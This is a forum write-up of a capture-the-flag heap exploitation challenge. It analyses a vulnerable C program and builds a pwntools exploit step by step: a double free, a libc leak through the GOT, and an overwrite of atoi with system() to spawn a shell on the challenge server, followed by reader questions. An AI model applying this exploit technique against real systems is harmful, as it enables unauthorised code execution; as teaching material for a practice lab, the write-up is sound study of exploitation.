Heap Exploitation | Playing with chunks!

###Solving a Heap exploitation challenge :smiley:
In the name of Allah, the most beneficent, the most merciful.


  • Thanks to @_py and @n0tnu11 who encouraged me, to write about such thing…

  • I want to say sorry, cause i don’t write alot more articles, you know guys, studies :sweat:

  • It wasn’t easy for me to solve this challenge, took me alot of testing, almost two days.

  • Hello everyone to this article…

  • For learning purposes :slight_smile:

  • Challenge is only solved by 35, was 26 when i finished it!

Before we start, let’s take a look at the informations given on the binary and what kind of protections are ON…

Oh yeah, the following protections are ON:

ASLR
NX
SSP
PARTIAL RELRO

Awesome, a perfect target, to start our heap exploitation adventure!
We have also, the source code, and the binary is given!

  • Better find a music to listen to:
  • I will listen to this!

Awesome, let me first run my VM machine, and then download the binary from the server!

Great, we now, should take a look at the source given, and try to make a plan for the attack…
We have 3 functions that seem important:

  • creation() to allocate…
  • change() to edit…
  • delete() to free…
  • show() to show information…

Awesome, so now let’s take a look at the functions… :yum:

struct entry *creation() {
    char name[64];
    struct entry *e;
 
    e = (struct entry *) malloc(sizeof(struct entry));
 
    printf("Name: ");
    fgets(name, NAME_LEN_MAX, stdin);
    name[strlen(name)-1] = 0;
    e->name = malloc(strlen(name));
    strcpy(e->name, name);
 
    printf("Age: ");
    fgets(name,6,stdin);
    e->age = atoi(name);
 
    return e;
}

Uhmm, it will allocate 2 chunks, one built on the struct of entry…
Keep in mind that the struct of entry looks like this:

struct entry {
  int age;
  char *name;
};
  • So, in the first allocated chunk there will be stored the age, and a pointer to next chunk, where name will be stored!

Great!
Now let’s see the delete function!

void delete(int i) {
    free(directory[i]->name);
    free(directory[i]);
}
  • It will free the chunk containing the age and pointer to name, and the next chunk that contains the name!

The show() function:

void show(int i) {
    printf("[%d] %s, %d years old\n", i, directory[i]->name, directory[i]->age);
}
  • Seems like it will print information about one chunk we choose!
  • May lead to some kind of leak, if we controlled the *name…

And the change() function!

void change(int e) {
    char name[64];
 
    printf("New name: ");
    fgets(name, strlen(directory[e]->name)+1, stdin);
 
    name[strlen(name)] = 0;
    strcpy(directory[e]->name, name);
    printf("New age: ");
    fgets(name, 6, stdin);
    directory[e]->age = atoi(name);
}
  • It will strcpy our first input to directory[e]->name, and the second input will be put in age!
  • There’s seems to be an offbyone bug there, may allow us to change the size of the next chunk…
  • We can overwrite arbitrary address if we controlled *name…

Questions that come to our head now!

  • How can we overwrite the *name?

Well, this is the real problem, we should become creative…
Let’s start the program, and start analysing memory!

When we start it, we get this menu…

Let’s start it again, but this time, using GDB, to analyse memory, and see our chunks…

  • gdb ch44 -q

Awesome, let’s now create a new entry!

Great, now let’s take a look at memory, we will look at &directory!

  • Ctrl + C to interrupt the execution and write c in gdb so it continues executing again!

Alright, let’s see &directory!

Awesome, so the first entry is here: 0x605010!
Let’s take a look at what’s in this area!

Great!
The structure of the chunk looks like as we said before!
( size + age + *name + prev_size + size + name + junk… + wilderness )

Awesome, let’s start writing the functions in our exploit.py

#!/usr/bin/python
from pwn import *

# PROCESS
c = process("./ch44")

# FUNCTIONS
def allocate( nm, age ):
	c.sendline('1')
	c.recvuntil(': ')
	c.sendline( nm )
	c.recvuntil(': ')
	c.sendline( str(age) )
	c.recvuntil('>')
def free( id ):
	c.sendline('2')
	c.recvuntil(': ')
	c.sendline(str(id))
	c.recvuntil('>')
def view( id ):
	c.sendline('4')
	c.recvuntil('[' + str(id) + '] ')
	name = c.recvuntil(', ')[:-2]
	age = c.recvuntil(' years')[:-6]
	c.recvuntil('>')
	return name, age
def edit( id, name, age ):
	c.sendline('3')
	c.recvuntil(': ')
	c.sendline( str(id) )
	c.recvuntil(': ')
	c.sendline( name )
	c.recvuntil(': ')
	c.sendline( str(age) )
	c.recvuntil('>')
# ATTACH
pause()

# EXPLOIT


# INTERACTIVE
c.interactive()

Seems awesome, now we can start writing our exploit!

  • We will mostly modify the EXPLOIT part :wink:

let’s start by allocating some chunks, let’s say 4 chunks…
What size of each chunk will we choose ?

  • After analysing a bit and trying different chunk sizes, i’ll choose 56, cause we can control all the chunk with that size, allowing us to overwrite the next chunk size with the offbyone we saw before!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )

Let’s run the exploit now, and attach it to GDB!

  • Now, we should write continue ( c ) in gdb and then press enter in the other terminal, where the exploit.py is running ( pause() )!
  • After doing that, the four chunks will be allocated, and we will use CTRL + C in gdb again and then examine them in memory!

Great, all seems working just great!
What if we now free some chunks what will happen?

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
free(2)
free(1)
  • Alright let’s run the exploit again, and see how the chunks look like now!

  • We can see that the FD of chunk 1 was set to the prev_size of chunk 2…
  • So now, what do we have?
  • We have 4 free chunks… let’s try and allocate something that will fit the chunk with 0x21 in size…

  • HELL YEAH!
  • So, this maybe can help us, but not in this situation…
  • Cause chunk 1 entry looks like this:

  • Where 0x20690d0 is where chunk 2 entry starts…
  • Then it’s considered as a name…

  • Keep this in mind, it may help us later…
  • And since this way won’t help us alot now, let’s try and become more creative…
  • When we free a chunk, it will be placed in a free_list, then when we allocate a chunk it will placed there if the size fits it!

So when we free chunk 1 then chunk 2 Free_list will look like this :
±------------------------±------------------------+

  • ////////CHUNK1/////// + ////////CHUNK2/////// +
    ±------------------------±------------------------+
    Then, when the next allocation happens, the first chunk to be filled is the last free()'d which is chunk2..

But what if we free’d chunk2 two times, if we did it directly a crash occurs!

  • We can free chunk2 then chunk1 then chunk2 again, and this will prevent the crash from happening ( double free )…
  • And free_list will look like this… chunk2 -> chunk1 -> NULL

Awesome, let’s try that!

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )

free(2)
free(1)
free(2)

And it worked, what if allocated another chunk of same size ( 56 ) now ?

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'E'*56, 15 )

  • Uhmm, everything seems normal, let’s examine memory and see how &directory looks like!

  • Oh yeah, so we got two different index in directory that point to the same to the same area!
  • So, if we free()'d one of them, we will have some kind of heapleak…
  • We will try free()'ing chunk2 since it’s the last one that got filled and chunk1 is now on top of free_list, free()'ing it will result in a crash!
  • Oh no! we ended up in a crash while freeing both, let’s try changing the exploit a bit to fit that!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
  • Now that, seems just PERFECT!

  • And here we gooo!
  • We got a heap_leak, but that’s not what we are looking for, we should get a libc_leak!
  • Remember the bug we found but didn’t use, that let us overwrite the *name, we’ll try using it now…
  • We got to find a way to overwrite the *name of a chunk that’s in-use!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)

allocate( 'A'*16, 15 )
  • Nothing happens here, so let’s free chunk 0, and allocate twice…
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*16, 15 )
allocate( 'A'*16, 15 )
  • What, we got sigsegv when we tried to print entries!

  • Seems weird, the first guess is that it tried reading from address 0x4141414141414141.
  • Which is overwritten name pointer in chunk2!
  • Let’s examine in GDB to make sure!

  • And yeah, it treated the AAAAAAAA as a PTR!
  • Let’s see now what we can do!
  • We will add a part in exploit.py!
# ENTRIES
free_got = 0x602018

We will also write a little function to return the address in littleendian… since p64() didn’t put the address correctly in this example…

def revaddr(addr):
	h = hex(addr)[2:]
	t = ""
	for i in xrange(len(h) - 2, -2, -2):
		m = i + 2
		t += chr(int(h[i:m], 16))
	return t

And then let’s comeback to exploit part and edit our exploit making the *name point to free_got!

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(free_got), 15 )
  • Awesome, now let’s try showing entries! :smiley:

  • Perfect, now we got a libc_leak!
  • We are going to use view() function to store the leak!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(free_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
print 'free() @ ' + hex(leak)
  • I prefer changing atoi_got since it’s an easier and more guaranteed way to get shell!
int choice(int min, int max, char * chaine) {
    int i;
    char buf[6];
    i = -1;
    while( (i < min) || (i > max)) {
        printf("%s", chaine);
        fgets(buf, 5, stdin);
        i = atoi(buf); // HERE
    }
    return i ;
}
  • Great, now we know where atoi actually is, let’s calculate where libc_base will be!
  • I’ll use GDB!
  • Using vmmap i got libc_base, and we leaked the address of atoi_got!
  • Let’s calculate atoi_got - libc_base and system - libc_base!

  • Great, let’s create a new part in exploit.py
# DIFF LOCAL
libcdiff = 0x34260
sysdiff = 0x3f460

Let’s now make use of them in the exploit part!

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff

print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
  • Let’s test the exploit and see where we going!

  • Great! now, let’s use the change() function that we spoke about, and change the content of atoi_got to system!
  • So in the end the exploit part will become the following!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff

print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)

edit( 1, p64(system), 'sh\x00' )
  • Alright let’s run the exploit now!

  • Awesome, we got our shell, but that’s in local only…
  • Let’s first collect all parts in our current exploit.py!
#!/usr/bin/python
from pwn import *

# ENTRIES
atoi_got = 0x602078

# PROCESS
c = process("./ch44")

# DIFF LOCAL
libcdiff = 0x34260
sysdiff = 0x3f460

# FUNCTIONS
def allocate( nm, age ):
	c.sendline('1')
	c.recvuntil(': ')
	c.sendline( nm )
	c.recvuntil(': ')
	c.sendline( str(age) )
	c.recvuntil('>')
def free( id ):
	c.sendline('2')
	c.recvuntil(': ')
	c.sendline(str(id))
	c.recvuntil('>')
def view( id ):
	c.sendline('4')
	c.recvuntil('[' + str(id) + '] ')
	name = c.recvuntil(', ')[:-2]
	age = c.recvuntil(' years')[:-6]
	c.recvuntil('>')
	return name, age
def edit( id, name, age ):
	c.sendline('3')
	c.recvuntil(': ')
	c.sendline( str(id) )
	c.recvuntil(': ')
	c.sendline( name )
	c.recvuntil(': ')
	c.sendline( str(age) )
	c.recvuntil('>')
def revaddr(addr):
	h = hex(addr)[2:]
	t = ""
	for i in xrange(len(h) - 2, -2, -2):
		m = i + 2
		t += chr(int(h[i:m], 16))
	return t

# ATTACH
pause()

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff

print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)

edit( 1, p64(system), 'sh\x00' )

# INTERACTIVE
c.interactive()
  • Let’s connect to the server and see the libc used!
  • We’ll run the program using gdb then break using CTRL + C then:

  • So the libc is located at : /lib/x86_64-linux-gnu/libc.so.6
  • I’ll download it, and i’ll use libcdatabase tool:

  • then we’ll use libcdatabase -> ./add libc.so.6

  • We got everything we need, except atoi!

  • We will now edit a part in exploit.py!
# DIFF REMOTE
libcdiff = 0x39ea0
sysdiff = 0x46590
  • And we will also set c to remote!
# REMOTE
c = remote( 'challenge03.root-me.org', 56544 )
  • The full exploit now looks like this:
#!/usr/bin/python
from pwn import *

# ENTRIES
atoi_got = 0x602078

# REMOTE
c = remote( 'challenge03.root-me.org', 56544 )

# DIFF REMOTE
libcdiff = 0x39ea0
sysdiff = 0x46590

# FUNCTIONS
def allocate( nm, age ):
	c.sendline('1')
	c.recvuntil(': ')
	c.sendline( nm )
	c.recvuntil(': ')
	c.sendline( str(age) )
	c.recvuntil('>')
def free( id ):
	c.sendline('2')
	c.recvuntil(': ')
	c.sendline(str(id))
	c.recvuntil('>')
def view( id ):
	c.sendline('4')
	c.recvuntil('[' + str(id) + '] ')
	name = c.recvuntil(', ')[:-2]
	age = c.recvuntil(' years')[:-6]
	c.recvuntil('>')
	return name, age
def edit( id, name, age ):
	c.sendline('3')
	c.recvuntil(': ')
	c.sendline( str(id) )
	c.recvuntil(': ')
	c.sendline( name )
	c.recvuntil(': ')
	c.sendline( str(age) )
	c.recvuntil('>')
def revaddr(addr):
	h = hex(addr)[2:]
	t = ""
	for i in xrange(len(h) - 2, -2, -2):
		m = i + 2
		t += chr(int(h[i:m], 16))
	return t

# ATTACH
pause()

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff

print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)

edit( 1, p64(system), 'sh\x00' )

# INTERACTIVE
c.interactive()
  • Let’s now run the exploit and see the result…

  • And we got our shell!
  • Hope you enjoyed, and learned too! :slight_smile:
  • See you all in next article :smiley:

~ exploit

20 Likes

This has been my first encounter with heap exploitation, and I’ve got to say, I learnt a lot just reading through this.

Slightly unrelated things as well, such as gdb --pid, or the c = process() syntax. Little things like this are really super helpful when you’re starting out in Exploit Dev.

The ASLR bypass is also interesting to note, I never knew the libc-database tool existed, using this tool, would the libc offsets be consistent across machines? Or is it something that is specific?

3 Likes
  • The goal of using that tool was getting the address of system(), knowing that libc file is provided !
  • Also sometimes, the libc file isn’t provided, so a website is used, which is: libcdb.com! ( will be discussed maybe later :smiley: )
  • Only the libc_base is randomized, the differences stay the same! :smiley:
  • the thing you should now is: if you know the address of a function in libc, and keep in mind that difference between addresses in libc doesn’t change, but stays the same, you can calculate it!
  • But to do so, you should have the differences, that’s why i used libcdatabase, to help me get libc_base, by substracting the diff of the leaked function’s address from the leaked address!
  • And then adding the system_diff to the result of substraction, that would get system() address in libc!

Conclusion : if you have the libc, you can get the difference of every libc function from libc_base and then calculate the address of system() or whatever you want in libc easily! :smiley:

4 Likes

Ah, that makes much more sense. Another question: How did you find the EIP? I am assuming that is the pointer you overwrote. Was it just trial and error?

2 Likes
  • We didn’t change the saved RIP like the last article :smiley: !
  • This time we went more creative by changing a GOT entry, making it point to calculated system() !
  • Then using that to pop a shell :smiley:
  • We changed atoi_got to calculated system() address, then knowing where atoi() is used, by viewing the source:
int choice(int min, int max, char * chaine) {
    int i;
    char buf[6];
    i = -1;
    while( (i < min) || (i > max)) {
        printf("%s", chaine);
        fgets(buf, 5, stdin);
        i = atoi(buf); // HERE
    }
    return i ;
}
  • So, when we input our choice, atoi() is called on the userinput, well if we set atoi() to system() it will be:
  • system(buf), and that will lead to a shell, if the input is “sh\x00” :smiley: !
3 Likes

Supa Hot fire , I like your articles , detailed info and helpful keep going

1 Like

Thank you *_* :smile:

Too bad the images are dead.
Currently, for some reason - the binary running on the server (When you make a TCP connection to it like in here) is using/loading/linked against a newer (2018) version of glibc , so Tcache is enabled and has double free mitigation (goes through the whole cache) and you need to do some kind of tcache poisionning to overcome it.